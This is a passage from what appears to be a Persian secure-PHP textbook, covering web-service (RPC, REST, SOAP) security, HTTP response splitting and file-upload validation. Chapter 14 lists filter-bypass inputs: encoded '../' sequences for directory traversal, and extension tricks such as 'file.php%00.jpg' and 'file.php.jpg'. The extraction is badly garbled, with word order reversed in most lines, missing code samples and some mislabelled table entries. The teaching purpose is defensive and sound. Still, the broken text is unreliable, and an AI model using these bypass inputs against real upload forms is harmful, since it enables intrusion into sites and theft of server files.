 بزرگ. اسکریپتیی حمله و سوءاستفاده مقابل در بالاتری نقص همچنین گیرند(، قرار استفاده

 که سرورهایی با مقایسه در شوند، اجرا ناظر بدون معمولا باید که سرورهایی چنین  که دلیل این بههمچنین  

 هستند. تر شکننده دارد، نظارت جاری اتفاقات بر سیستم مدیرها آن در
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13.1 RPC وب و  

 ممکنها آرگومان است. این آرگومان تعدادی و دستور یک شامل معمولا دوردستای رویه فراخوان یک

 ساختاربندی فهرست یک یا MIME پیام یک مثل باشند، پیچیده یا فایل، یک مسیر مثل باشند ساده است

 دیگر.  فرمتی یا XML در شده

 به پاسخ پیام یک و شودمی اجرا ها، آرگومان در شده ارائهی داده با سرور توسط درخواستی فعالیت

 کد یک مثلا باشد، ساده زیادی حد تا تواندمی نیز پاسخ درخواست، مانند شود. بهمی ارائه دهنده درخواست

 باشد.  پیچیده حدی هر تا تواندمی یا HTTP پاسخ

 باشد. این شده توافق قبل ( ارAPI) برنامه یسینوبرنامه رابط یک با منطبق باید پاسخ هم و درخواست هم

 ند. همچنینکمی مشخص دارند، انتظار که را هایی آرگومان وها فعالیت نام شامل ها، درخواست فرمت رابط،

 کند. می تعریف گردانند،می باز دستورات که را مقادیری انواع وها پاسخ فرمت

 را متفاوت API تعدادی بالا در شده فهرستهای درخواست از کدام هر انجام برای توانیدمی احتمالا شما

 در شده اسکریپت ارتباطات تا SSH بستر در فرمان خطای دسته وظایف زا به عنوان مثال کنید، تجسم

 صحبت RPC از خاص نوع یک مورد در اصولا ما فصل این در حال، این با. . HTTP یا IMAPبستر

 تبادلات به که است عمومی نام یک وب شود. خدماتمی شناخته وب خدمات عنوان به عموما که کنیممی

ی رویه فراخوان یک شامل درخواست آن، در که شودمی گفته HTTP پروتکل از استفاده با کامپیوتر دو بین

 باشد. می خطا یک یا و آمدهارائه  خروجی شامل نیز پاسخ و بوده دوردست

 .هستند موارد ترینمعمول مورد، سه میان این در که شوندمی ظاهر مختلفی اشکال به وب خدماتهای پیام

13.1.1  HTTP و REST 

 ،OPTIONS قبیل از ییهاروش دارای که است وب خدمات API یک خود خودی به HTTP پروتکل

GET،  POST، PUT  و DELETE وب خدماتهای باشد. برنامهمی HTTP بستر در راها روش این معمولا 

 کنند. می مدیریت اطلاعاتی، مخزن نوعی

 کنند.می گذاری نام  REST از کننده استفادههای رابط عنوان به گاهی را خالص HTTP وب خدمات

 باشند حالت بدون باید و کنندمی استفاده HTTPهای روش از محدودیی مجموعه از تنها هاییرابط چنین 

 ضروری اطلاعات تمامی شامل باید درخواستی پیام خود بلکه نباشند جلسات به وابسته است ممکن )یعنی
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 آشنایهای رابط محبوب، آنلاین خدمات باشد(. اغلب درخواستی فعالیت اجرای و صلاحیت تاییدجهت 

REST گوگل، قبیل از شوند، وارد که ندارند نیازی حتی که کنندمی ارائه کاربرانیجهت  را 

Amazon.com ،  eBay و Yahoo. 

13.1.2  XML-RPC 

API وب خدمات XML-RPC های پیام ازXML ای رویههای فراخوان اجرای برای مناسب شکل با

 از شود استفاده آن با باید که هاییآرگومان و دستور یک حاوی XML سند کند. یکمی استفاده دوردست

 سند یک در مربوطهی داده نوع هر و پاسخ شود. کدمی ارسال سرور برای HTTP در POST روش طریق

XML شودمی داده بازگشت مشابه مناسب شکل با. 

-XML برداری بهره یک کند،می ارائه راها روش از محدود کاملای مجموعه یک که ،REST برخلاف

RPC داده قرار استفاده مورد و نموده ایجاد دارد نیاز که را روشی هر توانمی بنابراین باشدمی گسترش قابل 

 استفاده ()addEntry روش یک از است ممکن وبلاگی برنامه یک مثال، برای نماید. فعال را خود API تا

 محتوای و عنوان و وبلاگ ID شامل دیگر چیزهای بر علاوه که دارد را درخواست یک انتظار که نماید

 در توانیدمی را XML-RPC پاسخ و درخواست یک از مثال باشد. یک شود، اضافه باید که ورودی

 بیابید.  پدیاویکی

13.1.3  SOAP 

 SOAP API بستر در ایرویههای فراخوان و اشیا ارسالجهت  توزیعیهای برنامه برای را روشی HTTP 

 از SOAPاست(  تر یافته توسعه آن از که) آن مانند به و باشدمی XML-RPC جانشین SOAPکند. می ارائه

 اندکی ساختار یک دارای سند این حالت این در ولی کندمی استفاده پیام یک ارسالجهت  XML سند یک

 در اطلاعات بسته باشد. اینمی بدنه یک و هدر یک شامل که است 77بسته یک شامل که باشدمیتر پیچیده

ی ساده پروتکلجهت  سرواژه یک ابتدا در SOAPکند. می رمزگذاری را پیامی گیرنده و فرستنده خصوص

 شود.می شناخته نام همان به همچنان رسمی صورت به گاهی که هبود شیء به دسترسی
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 مانند به SOAP هدرهای است(. بلوک اختیاری هدر )و هستند برنامه بر مبتنی بدنه و هدر بسته، این درون

 درخواست با مرتبط اطلاعات شامل که لحاظ این از هستند HTTP درخواست یا ایمیل پیام یک در هدرها

 گیرند.  قرار استفاده مورد درخواست توسط باید که است اطلاعاتی شامل هستند. بدنه

 

  وب خدمات رابط یک داشتننگه ایمن 13.2

 رابط یک یارائه کنیم. هنگاممی آغاز وب خدماتی کننده ارائه سرور دیدگاه از را RPC امنیت بحث

نوع خروجی اطلاعات  هر برای را لازم ملاحظات تمامی باید شما خود، کاربران برای عمومی وب خدمات

 استفاده وب خدمات هدف که دلیل این به دهید. ولی قرار توجه مورد را گیریدمی نظر در دیگر سایت به

 جلوگیریجهت  را اضافیهای گام باید شما ،(تعاملی کاربران)یعنی  افراد جای به خودکار فرایندهای توسط

 شوید مطمئن باید حتما بردارید. و مهاجم، یا ضعیف کدهای باهای مشتری توسط سیستم از سوءاستفاده از

 یابند. می انتقال ،عتمادا قابل و ایمن صورت به پاسخ و درخواست این که

  ساده رابط یک یارائه 13.2.1

باشد.  کننده محدود حال عین در و ساده ممکن حد تا باید  شما RPC رابط عملی، موضوع یک عنوان به

 که چیزهایی نمودن هستند. محدود مطلوب ارزیابی و بررسیجهت  گزینه، اندکی تعداد با ساده،های رابط

 تلاش فرصت نمودن محدود موجب دهند انجام شما سرور روی بر توانندمی شده اسکریپت فرآیندهای

 شود. ها میآن توسط نامطلوب عملی انجامجهت 

 که امر این بررسی که شوندمی باعث موارد این اینکه از است عبارت محدودیت و سادگی دیگر مزیت یک

 هر باید شود. شماتر راحت خیلی شما برای خیر، یا است گرفته شکل درستی به ارسالی درخواست

 یک تا کند تلاش است ممکن که کنید ردرا  است نشده دهی ساختار درستی به اساس این بر که درخواستی
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 مثالی ساده رابط یک از خوب مثال دهد. یک انتقال سرور به را دیگری نامطلوب اطلاعات یا اکسپلویت

 کند: می ارائه رازیر  فراخوان سهیکی از  تنها و است شده توصیف  آدرس در که است

  دسترس درهای گواهی از فهرستیجهت  درخواست یک •

 ها گواهی از خاص کلاس یکجهت  ضروری فیلدهای از فهرستیجهت  درخواست یک •

  گواهی یک صدورجهت  درخواست یک •

 نیازمند معمولاتر پیچیده وب هستند. خدمات ساده زیادی حد تا خود خودی به وب خدمات این البته،

API دهندگان توسعهی برنامه به عنوان مثال هستند.تر پیچیدههای eBay، جهت  متفاوتهای دسته دارای

 متفاوت یسینوبرنامه زبان 14 در هایی مثال ( وSOAP و REST، XML)ها پیام از معمول نوع سه تمامی

 نوع باشد. اینمی MB 135 حجم دارای که دارد قرارای صفحه 1209 فایل یک در SOAP APIباشد. می

ها آن نقص هم و گرفت کار به بتوانتر سخت هم را چنینی این وب خدمات که شودمی باعث پیچیدگی

 رفت.  خواهد بالاتر حملات به نسبت

 یاد به دارید، نیاز اگر )ولی  است کم باشی داشته نیاز eBay رابط بزرگی به رابط یک به شما که این احتمال

 به نصیحت یک تنها توانیممی هستند(. ما نیز عظیمی امنیتی اقدامات نیازمند عظیم هایAPI که باشید داشته

 باشد. می آن داشتننگه محدود و سادهجهت  مناسبی روش ،فرم یک عنوان به رابط مورد در بکنیم: تفکر شما

  وب هایAPI به دسترسي نمودن محدود 13.2.2

 شناسایی منظور به را IDی رشته یا برنامه کلید نوعی که کنندمی وادار را مشتری وب، خدمات از بسیاری

 رمز یک یا و مشتری IP آدرس قبیل از عواملی سایر احتمالا و کلید، این اساس دهند. بر ارائه سرور، به خود

 دهد. می را دوردستای رویههای فراخوان به دسترسیی اجازه سرور اشتراکی،

 در IDی رشته این که کرد ارزش( فرض کم اهدافجهت  )حداقل توانمی سرور، به سرور محیط یک در

های درخواست گیرد. ولینمی قرار استفاده موردها درخواست جعلجهت  و شد نخواهد دزدیده انتقال مسیر

 API از دسکتاپی برنامه یک بود. اگر نخواهند سرور به سرور تعاملات به محدود مطمئنا وب خدمات

 تایید در استفاده مورد مقدار هر کند، استفاده کاربر سوی از تعاملات اجرایجهت  شما وب خدمات

 مورد اضافیهای درخواست جعلجهت  و شده مشاهده میانجی یک یا کاربر توسط تواندمی صلاحیت

 گیرد.  قرار استفاده
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 که است منطقی مطمئنا آنگاه شوند،می فراخوانی سرورها سایر سوی از اصولا شما وب خدمات اگر

 قرار  فراعمومی متغیر در )که کنیم کنترل IP آدرس اساس بر را دسترسی

 مانند.می باقی ثابت معمولا سرورها IPهای آدرس که گیرد( چرامی

ی شبکه آدرس تغییر یا و خودکار سازیپراکسی تاثیر تحت معمولا سرورها سوی از ارسالیهای درخواست

 باشد. نمی هاISP و روترها توسطها مشتریمرورگر بر شده اعمال

 هر یکپارچگی تایید و رمزگذاریجهت  SSL از که است این دیگری، وب رابط هر مانند به حل، راه بهترین

 نباشد، عملی یا نباشد دسترس در SSL که صورتی در قبول، قابل روش کنیم. یک استفاده درخواست

 تنها که اشتراکی رمز یک با همراه اول فصل در شده معرفی ()mcrypt  کلاس از استفاده از است عبارت

 حتی یا و صلاحیت تایید مشخصات رمزگذاری برای است شده شناخته وب خدمات سرور و مشتریجهت 

 درخواست.  این دستوری بخش کل

 ها زیردرخواست ایمن ارسال 13.3

 به مشتری پردازیم. اینمی RPCی(   کننده درخواست )یا مشتری سمت از امنیت مورد در بحث به اکنون

جهت   یا  توابع از که باشدمی PHP اسکریپت یک زیاد احتمال

 و )ن.ک.  کندمی استفاده سرور یک به HTTP زیردرخواست ارسال

 ثانویه درخواست یک درخواست زیر بیشتر(. یک اطلاعاتجهت  

 اطلاعات( از یا فعالیت )نوعی خدمات دنبال به دارد. زیردرخواست قرار اولیه درخواست درون که است

 فصل.  این ابتدای در شده فهرست دیگر موارد یا RSS خوراک یک قبیل از باشدمی دهنده ارائه سرور سوی

 به نسبت بالاتری سیستمی منابع به دسترسی شامل شبکه بستر در خودکاریهای درخواست چنین

 روی بر شبکه پورت یک به دسترسی نیازمند موارد هستند. این شخصی وآنلاین  کاربرهای درخواست

جهت  DNS جستجوی چند یا یک احتمالا و دوردست و محلی سرورهای بین باند پهنای محلی، سرور

 و باند پهنای نیازمند حتی SSL بستر درهای هستند. زیردرخواست IPهای آدرس بهها میزبان نام تبدیل

 هستند.  بالاتری پردازشی قدرت

  شبکههای اوت تایم مدیریت 13.3.1

 طولانی بسیار یا و نادرست مدیریت با )معطلی های خارج از انتطار دریافت پاسخ( ایشبکههای اوتتایم

 شوند. این طولانیهای زمان مدت برای ،HTTP سرورهای پردازش نمودن مشغول موجب توانندمی مدت



  PHPنویسي امن برنامه

356 

 

 
 

 سایر برابر در شما سرور که شودمی موجب واقع در ولی نرسد نظر به امنیتی مبحث یک است ممکن امر

 منتظر ثانیه 20 که دارید اسکریپت یک شما شود. اگرتر شکننده خدمات، رد حملات خصوصا حملات، انواع

 نیز را دیگر سرور وب پردازش صدها تواندمی سادگی به ماند،می باقی دوردست سرور سوی از پاسخ

 هستند.  کند دوردست سرور این سوی از پاسخ یک منتظر همگی که نماید مشغول

 تابع از استفاده با دوردست سرور یک به سوکت جریان ارتباط یک کردن باز هنگام اوتتایم یک ،PHP در

fsockopen() نباشد، دسترس در دوردست سرور یا شبکه اگرشود.  تنظیم تواندمی PHP تعداد از بعد 

 این به که است معلق مقدار یک مقدار کند. اینمی رها را ارتباط اوت، تایم توسط شده مشخصهای ثانیه

 دهید.  قرار نیز ثانیه از کسری با برابر را پارامتر این توانیدمی شما که معناست

 PHPجهت  بیشینه زمان نمودن مشخصجهت  نیز  تابع از توانیدمی همچنین شما

 به ارسالی کنید. مقدار استفاده جریان، یک روی از خواندن هنگام پاسخجهت  ماندن منتظرجهت 

 به نمود. اگر مشخص تواننمی را ثانیه از کسری بنابراین است، صحیح عدد یک 

 timed_out کلید باید شما بنابراین رفت، خواهد بین از )بدون پاسخ( صدا بی درخواست، برسیم، اوتتایم

 زیر خیر. اسکریپت یا ایدکرده دریافت را کامل پاسخ یک آیا که بفهمید تا کنید بررسی جریانی متاداده در را

 نمود.  استفاده اوتتایم مقادیر از باید چگونه که دهدمی نشان
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 یک و ارتباط اوت تایم شامل که کنیدمی تنظیم را مناسب مقادیر ابتدا در شما نمایشی، اسکریپت این در

  تابع از شدید، اوتتایم بدون ارتباط ایجاد به موفق شما باشد. اگرمی پاسخ اوتتایم

  تابع با همراه نتیجه کل بازگشت منتظر اسکریپت که کنیدمی استفادهای گونه به

 پاسخ با همراه که متاداده در را timed_out کلید شما پاسخ، دریافت و درخواست ارسال از بماند. بعد باقی

 خیر.  یا است نموده اوت تایم سرور آیا که ببینید تا کنیدمی بررسی را است شده فرستاده

 هازیردرخواست نمودنکش 13.3.2

 واقع، است. در اهمیت دارای کندمی ارسال شما اسکریپت که هاییزیردرخواست تعداد کنترل توانایی

 را RSS خوراکهای درخواست از عظیمی مقادیر که را هاییمشتری محبوب، وب خدمات از بسیاری

 هستند سیاست یک دارای Slashdot.org قبیل ازها آن از بعضی و نمایندمی مسدود کنند،می درخواست

 RSSی خواننده اگر حالت، این دهد. درنمی اجازه را روز طول در چنینی این درخواست دو از بیش که

 که رسیدمی حالتی به سرعت به شما باشد، نداشته خودهای درخواست محدودکردنجهت  راهی هیچ شما

 باید چگونه که دهدمی نشان زیر بود. اسکریپت نخواهید محبوبهای خوراک نمایش و دسترسی به قادر

 کند. می کش کنید،می دریافت که را هایی پاسخ که صورت این به نمود ایجاد را محدودیتی چنین
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 قبیل از ضروری متغیرهای تنظیم با کنید،می فراخوانی را نمایشی کد تکه این حاوی اسکریپت یک که بار هر

 خوراک اینجا، )در کنیدمی ذخیره را خود درخواست به شدهکش پاسخ شما که دایرکتوریجهت  مکان یک

RSSیک شما است، نوشتن قابل و دارد وجود کش مکان این اینکه بررسی از کنید. بعدمی شروع را ( کار 

 کنید. درمی مشخص را ثانیه 20 با برابر انقضایی دوره یا و نموده مشخص ،کش فایلجهت  را ساده نام

 را جدید خوراک یک باشد( یا جدید کافیی اندازه به )اگر کنیدمی استفاده موجود کش فایل یک از یا ادامه،

 شما نیازهای تا کنید تنظیم را انقضا زمان توانیدمی سادگی به کنید. شمامی درخواست دهنده، ارائه سرور از

 نماید.  برآورده را دوردست سرور و

  HTTP هدرهای صحت از اطمینان 13.3.3

 نموده درخواست را محصول اطلاعات کاربر یک آن، در که بگیرید نظر در را زیر کد مثال، یک عنوان به

 آنجا در اطلاعات این که سرور یک به درخواست یک طریق از را اطلاعات این دارید قصد شما و است

 نمایید:  ارائه است، شده ذخیره
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 محصولی چه مورد در کاربر که کنیدمی کسب را مشخصات این ابتدا در شما نمایشی، اسکریپت این در

 قرار استفاده مورد را متغیر این کنید. شمامی ذخیره productid$ متغیر در را آن و خواهدمی اطلاعات

 اضافه درخواستی اسکریپت نام به را آن مقدار و کنید ایجاد را HTTP GET درخواست یک تا دهیدمی

 این شود. مابقی بازیابی GET$ متغیر یک عنوان به بتواند دوردست سرور توسط کهای گونه به کنیدمی

 تا بماند منتظر کهای گونه به دهدمی قرار انسداد حالت روی بر را اتصال کند،می برقرار را اتصال اسکریپت

 دریافت نهایی کاربر به نمایشجهت  راها داده این نهایت در و گیرند قرار دسترس در دیگر سوی درها داده

 کند. می

 و اضافی هدرهای تواندمی مهاجم یک شود،نمی سازیپاک وجه هیچ به productid$ مقدار که دلیل این به

 کند.  تزریق HTTP درخواست این درون به را بدنه کل حتی یا

 برد:  بین از کاملا زیر، صورت به صحیح، عدد یک با برابر ارسالی محصول ID تنظیم با توانمی را نقص این
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 HTTP Response Splitting حمله 13.3.3.1

 مقدار در که صورت این به کردیم تشریح الان همین که کندمی استفاده سوءی یاهنقص از حمله این

 هدرهایی علاوه به است( را خط پایان یک یعنی شده رمزگذاری r\n\ یک )که 0𝑑0𝑎 مقدار درخواستی،

HTTP ،انتهای دستور فرستید،می دهنده ارائه سرورجهت  را مقدار این شما که افزاید. هنگامیمی اضافی 

 چیزی بنابراین )و کند تلقی جدید دستور عنوان به آیدمی آن بعد که را آنچه هر سرور که شودمی باعث خط

 کند(.  تقسیم پاسخ دو به بود پاسخ یک که را

 قرار که چیزی عنوان به را زیر کد مهاجم یک که کنید دهیم. فرضمی نشان اینجا در را اکسپلویت این ما

 کند: می وارد باشد محصول ID است

 

 کند: می ایجاد خط این با را URI یک شما اسکریپت

 

 آید: می در صورت این به serviceURI$ مقدار هکر، ورودی با

 

 کند: می ایجاد دستور این با را هدر یک شما اسکریپت

 

 آید: می در صورت این به هکر ورودی با که

 

 بود:  خواهد صورت این به پاسخ این شود،می ایجاد درخواست این به پاسخ یک که هنگامی
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 را حمله در شده مشخص مکان کاربر، برای و گیردمی قرار مورد اولین از قبل Location: header دومین

 داشت.  خواهد نیز را COOKIE_$فراعمومیی آرایه در موجود مقدار هر خود همراه به که کندمی ارسال

 یافت osCommerce باز منبع محبوب الکترونیک تجارتی بسته در 2005 ژوئن 10 در نقص همین دقیقا

 (. بیشتر  اطلاعات )برای شد

 :شوید زیر طرق از ،کدام هر به HTTP پاسخ تقسیمی حمله یک مانع توانیدمی شما

جهت  بررسی حداقل یا صحیح، عدد یک با برابر آن تنظیم با productid$ مقدار سازیپاک -

 صورت:  این به باشد،می صحیح عدد یک مقدار این اینکه از اطمینان

 
 

)urlencode تابع از استفاده با productid$ مقدار سازیپاک -  تغییر URI به آن افزودن از قبل (

 جهت. 

 
 

  خلاصه 13.4

ی دهنده نشان تواندمی دیگر،ای رایانه به رایانه یک از شده ارسالهای پیام دوردست،ای رویههای فراخوان

 باشد.  شماهای برنامه و شما سرور امنیت و ایمنی برای بالقوه تهدید یک

 رابط داشتننگه ایمن خصوص در ما مثال، چند یارائه و هستند چه وب خدمات اینکه توصیف از بعد

 دادیم:  پیشنهاد را زیر موارد کردیم. ما بحث خدمات اینی دهنده ارائه سرور دیدگاه از وب خدمات
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  خود رابط داشتننگه محدود و ساده -

 وب هایAPI به دسترسی کردن محدودجهت  اشتراکی رمز یک یا SSL از استفاده -
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 های بارگذاری فایل پذیریفصل چهاردهم: تهدیدها و آسیب 14

 باشند. اگرمی فایل بارگذاری امکان دارای کاربران اجتماعی هایشبکه مانند امروزی هایسایتوب اکثر در

 با متناسب که داشت توجه باید اما شود،می آن وریبهره افزایش موجب سایت در قابلیت این ارائه چه

 یابد. بنابراینمی افزایش نیز سایت هایپذیریآسیب و تهدیدات نهایی، کاربر به شده ارائه هایقابلیت افزایش

سایت به همراه داشته باشد. برای  خطرناکی عواقب تواندمی فایل بارگذاری سیستم در صحیح مدیریت عدم

 بر برنامه که عملیاتی نیز و کاربر ورودی فایل ذخیره جهت شدهانتخاب مسیر به خطرات این اهمیت میزان

 کاربردی هایبرنامه در موجود هایپذیریآسیب اصلی علت کلی طور دارد. به دهد بستگیمی انجام آن روی

 حملات با مقابله راه ترینمهم نماید. بنابراین ارسال را ورودی داده هر تواندمی متقاضی که است این

 انواع شناخت آن لازمه که باشد،می کاربران هایورودی اعتبارسنجی وب، تحت کاربردی هایبرنامه

 را فایل بارگذاریجهت  نیاز مورد هایورودی تواناست. می آنها از کدام هر اعتبارسنجی طریقه و هاورودی

 کرد: بندیدسته زیر صورت به

 ورودی متا داده های فایل •

  ورودی فایل محتوای •

 انجام شده بارگذاری هایفایل روی بر برنامه که عملیاتی تمام باید حملات، نوع این از برنامه محافظت برای

 گیرد. با قرار بررسی مورد دقت به عملیات این در درگیر هایپردازش تمام همچنین و شده تحلیل دهد،می

 محتوای و متا داده ها قوی اعتبارسنجی فایل، بارگذاری هایفرم سازیامن جهت شده بیان مطالب به توجه

 در رایج اعتبارسنجی هایروش انواع بیان به فصل این است. در ضروری امری، شده بارگذاری فایل

 سازیامن جهت امنیتی کارهایراه از برخی نیز انتها پردازیم. درمی آنها دورزدن هایروش و وب هایبرنامه

 شود.می بیان فایل بارگذاری سیستم

 های فایلاعتبارسنجي فراداده 14.1

 

 HTTP توسط غالبا که شوندمی شامل را فایل سازیذخیره مسیر و نام مانند هاییداده فایل، هایفراداده

multipart encoding مناسب اعتبارسنجی شوند. عدممی مبادله گیرنده وسرویس دهنده سرویس میان 

 نامناسب مکان یک در فایل ذخیره یا و مهم هایفایل بازنویسی مانند عملیاتی اجازه هکر به هاداده این

 تحت کاربردی یبرنامه آورد. یکمی فراهم را هادایرکتوری پیمایش مانند حملاتی بستر دهد. همچنینمی
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 نمونه دو 79سفید لیست و 78سیاه کند. لیستمی بررسی مختلف هایشکل به را کاربر ورودی هایداده وب،

 فایل هایفراداده اعتبارسنجی منظور به هاشیوه این از نویسانبرنامه برخی که هستند اعتبارسنجی هایشیوه از

 کنند.می استفادهنوع محتوا   و یا پسوند مانند

 های فایل توسط لیست سیاهاعتبارسنجي فراداده 14.1.1

 اعتبارسنجي فراداده نام فایل 14.1.1.1

 

 یک روش این کنند. درمی استفاده سیاه فهرست اعتبارسنجی روش از فقط برنامه دهندگانتوسعه از برخی

 گردد. مکانیزممی تهیه شودمی استفاده حملات در که ایشدهشناخته فایل پسوندهای از سیاه فهرست

 ورود اجازه بقیه به و کندمی متوقف باشد داشته مطابقت سیاه فهرست با که را ایداده هر اعتبارسنجی،

 دارد. را اثربخشی کمترین دلیل دو به روش، دهد. اینمی

انجام شده باشد.  تواندمی فایل ها با پسوند های  مختلف آسیب و صدمه زدن به یک سایت توسط انواع    

 استفاده تواندمی نفوذگر که ممکن پسوندهای همه شامل فهرستی بتوان است غیرممکن تقریبا دیگر طرف از

نباشد. از ، شودمی استفاده حملات در که پسوندهایی برخی شامل است ممکن سیاه کرد. فهرست تهیه را کند

 کشف استفادهسوءجهت  جدیدی روش روز هر و هستند افزایش به رو سوءاستفاده هایآنجایی که روش

که قادر باشد تمام این فایل ها رو پوشش دهد تا حدودی غیر ممکن  شود امکان ایجاد یک لیست سیاهمی

 فایل پسوندهای اعتبارسنجی جهت متداول سیاه هایفهرست دورزدن هایروش از برخی ادامه می باشد. در

 است.  آمده

 دسترسی به حمله گیرد،می صورت فایل هایفراداده اعتبارسنجی عدم نتیجه در که خطرناکی حملات از یکی

 هاییفایل به دستیابی و فراخوانی آن اصلی . و هدفو دستیابی به فایل های درون آنها می باشد هادایرکتوری

 پوشه از خارجها فایل این باشد. معمولامی محروم آنها خواندن و دیدن از عادی صورت به هکر که است

root مانند فایلهایی  باشندمی سایتcmd.exe . 
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 با و کنندمی استفاده هافایل از مستقیم طور به که است سایت از نقاطی دنبال به نفوذگر حمله نوع این در

 برروی شدهذخیره هادایرکتوری و خود دلخواه فایل به ها،فایل این فراخوانی به مربوط متغیر کاریدست

 محدود آنها به دسترسی عاملسیستم توسط ، کهغیره و پیکربندی هایفایل برنامه، منبع کد )ازجمله سیستم

جهت  "../"های توالی از استفاده با فایل، آدرس مانند متغیرهایی کاریدست یابد. معمولامی شده( دست

 نیز” dot-dot-slash“ نام با پذیریآسیب این رو این گیرد. ازمی صورت ریشه دایرکتوری سمت به حرکت

 شود.می شناخته

 انجام "../" توالی از استفاده با حمله این که آنجا باشد. ازنمی خاصی ابزار به نیاز حملات این انجام منظور به

 اگر که است سیاه فهرست از استفاده حمله این با مقابلهجهت  هااعتبارسنجی ترینرایج از شود. یکیمی

 باشدمی پذیرآسیب بسیار فیلتر از نوع شود. اینمی حذف دنباله این باشد، "../" دنباله دارای کاربر ورودی

 بزند دور را ورودی فیلتر عملیات تواندمی راحتی به کدگذاری هایمکانیزم از یکی از استفاده با نفوذگر زیرا

کند.  پشتیبانی را "..\"و "../" نوع هردو سیستم است ممکن اما شود، بررسی "../" فقط اعتبارسنجی در یا و

 کند: استفاده کدگذاریهای در شیوه، مختلفیهای کدگذاری از نفوذگر است ممکن

 می تواند بر اساس جدول زیر از کارکترهای مورد نیازش استفاده کند. URL برای کدگذاری

 کارکتر عبارت جایگزین

%252e dot ( . ) 

%252f forward slash ( / ) 

%255c Back slash ( / ) 

 

                                                                                                  

                                                                                                              

                

 

 می توان از کدهای زیر استفاده کرد. bit Unicode-16 یا برای کدگذاری
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 کارکتر عبارت جایگزین

%252e dot ( . ) 

%u2215 forward slash ( / ) 

 %u2216 Back slash ( / ) 

 

    

 بیشتر طول با UTF-8 Unicode کدگذاری

 

 کارکتر عبارت جایگزین

%c0%2e   %یاe0%40%ae   %c0ae   dot ( . ) 

  %c0%af     %      یاe0%80%af         

%c0%2f                   

forward slash ( / ) 

%c0%5c     %    یاc0%80%5c         Back slash ( / ) 

 

  

 بار یک فقط حذف عملیات اگر کند و حذف را "../" مقادیر فقط اعتبارسنجی منظور به برنامه همچنین اگر

 بزند: دور را فیلتر زیرهای ورودی کردن وارد با تواندمی نفوذگر شود انجام

                                                                                                                    ....// 

                                                                                                                        ....\/ 

                                                                                                                        ..../\ 

                                                                                                                        ....\\ 
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 اعتبارسنجي فراداده پسوند فایل 14.1.1.2

 باشد. نفوذگرمی سیاه لیست وسیله به فایل پسوند اعتبارسنجی، هافراداده در ورودی فیلترهای دوم نوع

 بزند: دور را فیلتر زیر هایورودی کردن وارد با تواندمی

 (.file.PHp3  )مانند کندمی عبور اعتبارسنجی از پسوندها در کوچک و بزرگ حروف تغییر با

 ، file.php5، file.shtml مانند غیرمتداول اجرایی هایفایل از برخی کردن وارد با اعتبارسنجی است ممکن

file.asa یا file.cer شود. دور زده گیردنمی قرار سیاه فهرست در معمولا که 

شود.  اعتبارسنجی دورزدن به منجر تواندمی فایل انتهای در نقطه و فاصله کاراکترهای از ایدنباله از استفاده

 با توانمی را هافایل نام شد. این خواهند حذف خودکار صورت به نقاط و هافاصله این فایل ذخیره هنگام

... ....  file.phpمثال عنوان )به کرد ارسال سرور به ساده اسکریپت یک یا و محلی پراکسی یک از استفاده

.). 

 الگوریتم یک یا و)“.”(  نقطه از پس فایل نام در موجود پسوند اولین از وب دهندهسرویس است ممکن

 از بعد پسوند دو با فایل یک کردن وارد با توانمی کند. بنابراین استفاده فایل پسوند تشخیصجهت  خاص

 ”(.file.php.jpg“ مثال عنوان )به زد دور را اعتبارسنجی این)“.”(  نقطه

 به مجاز پسوند از قبل و غیرمجاز پسوند از ( بعد00%) تهی شده شناخته کاراکتر دادن قرار با تواندمی نفوذگر

 رشته انتهای گرنمایان نویسیبرنامه هایزبان اکثر در تهی بزند. کاراکتر دور را اعتبارسنجی پردازش کلی

 شودمی گرفته نادیده تهی کاراکتر از بعد رشته فایل، ذخیره هنگام باشد. بنابراینمی

“(file.php%00.jpg.)” 

 زد. دور را سیاه فهرست روش به هااعتبارسنجی اکثرنیز  هاروش این ترکیب با توانمی موارد برخی در

 فایل توسط فهرست سفید هایاعتبارسنجي فراداده 14.1.2

 استفاده فایل پسوند اعتبارسنجی منظور به سفید فهرست از وب تحت کاربردی هایبرنامه از بسیاری

 است معیارهایی یا و الگوها ها،رشته شامل که شودمی گرفته کار به سفید فهرست یک روش این کنند. درمی

 با که دهدمی مجوز هاییداده به اعتبارسنجی مکانیزمرود. می کار به خطربی هایداده با تطابقجهت  که

 اعتبارسنجی هایروش ترینمناسب از یکیاین  کند. اگرچهمی رد را بقیه و باشند داشته تطابق سفید فهرست

 شانسی نفوذگر هنوز کنیم، استفاده سفید فهرست روش از فقط فایل پسوند اعتبارسنجی در اگر اما است،
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 را مکانیزم این روشهایی که در  بخش قبل بیان شد مانند مقادیری کردن وارد با تواندمی و دارد حملهجهت 

 هایجنبه از و گیرد قرار بازبینی مورد مدام باید نیز مجاز پسوندهای سفید فهرست دیگر طرف بزند. از دور

 نسبت تواندمی برنامه باشد، "shtml" پسوند شامل سفید فهرست اگر مثال، طور شود. به بررسی گوناگون

 باشد. پذیرآسیب SSI حملات به

 اعتبارسنجي محتوای فایل 14.2

 غیره وpdf، jpeg مانند هاییقالب در است ممکن و گیرندبر می در را فایل محتوای که هاییبررسی داده

 هاداده این در مناسب اعتبارسنجی عدم علت به مخاطرات از وسیعی گیرند بسیار مهم می باشد. طیف قرار

 شوند.می ایجاد

 ”Content-Type“های اعتبارسنجي توسط سرآیند شیوه 14.2.1

 اوقات است. گاهی فایلی نوع چه شامل HTTP پاسخ پیغام بدنه دهدمی نشان” Content-Type“ سرآیند

 طورکنند. همانمی بسنده80 سرآیند این مقدار بررسی به تنها فایل محتوای اعتبارسنجی جهت نویسانبرنامه

 اعتماد غیرقابل کاربران ورودی هایداده یهمه وب تحت کاربردی هایبرنامه در شد، گفته هم ترپیش که

 با راحتی به تواندمی نفوذگر و شوندمی محسوب هاورودی این جمله از نیز HTTP است. سرآیندهای

 دهد. تغییر را آن مقادیر پراکسی یک از استفاده

 APIتشخیص نوع فایل با استفاده از برخي توابع  14.2.2

 تشخیص ( جهتAPI) توابع از برخی از ناخواسته یا عمد به وب تحت کاربردی هایبرنامه اوقات گاهی

 از: عبارتند روش این معایب کنند. برخیمی استفاده فایل نوع

 کد تواندمی نفوذگر و کنندمی بررسی را فایل سرآیندهای همان یا و ابتدا کاراکترهای تنها توابع این از برخی

 نماید. وارد فایل انتهای در را خود مخرب
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 که است شده گرفته نظر در فایل مورد در توضیحات نگهداری جهت مکانی هافایل ساختار در مواقع اکثر در

 با PHP نویسانبرنامه برخی مثال، عنوان نماید. به تعبیه مکان آن در را خود مخرب کد تواندمی نفوذگر

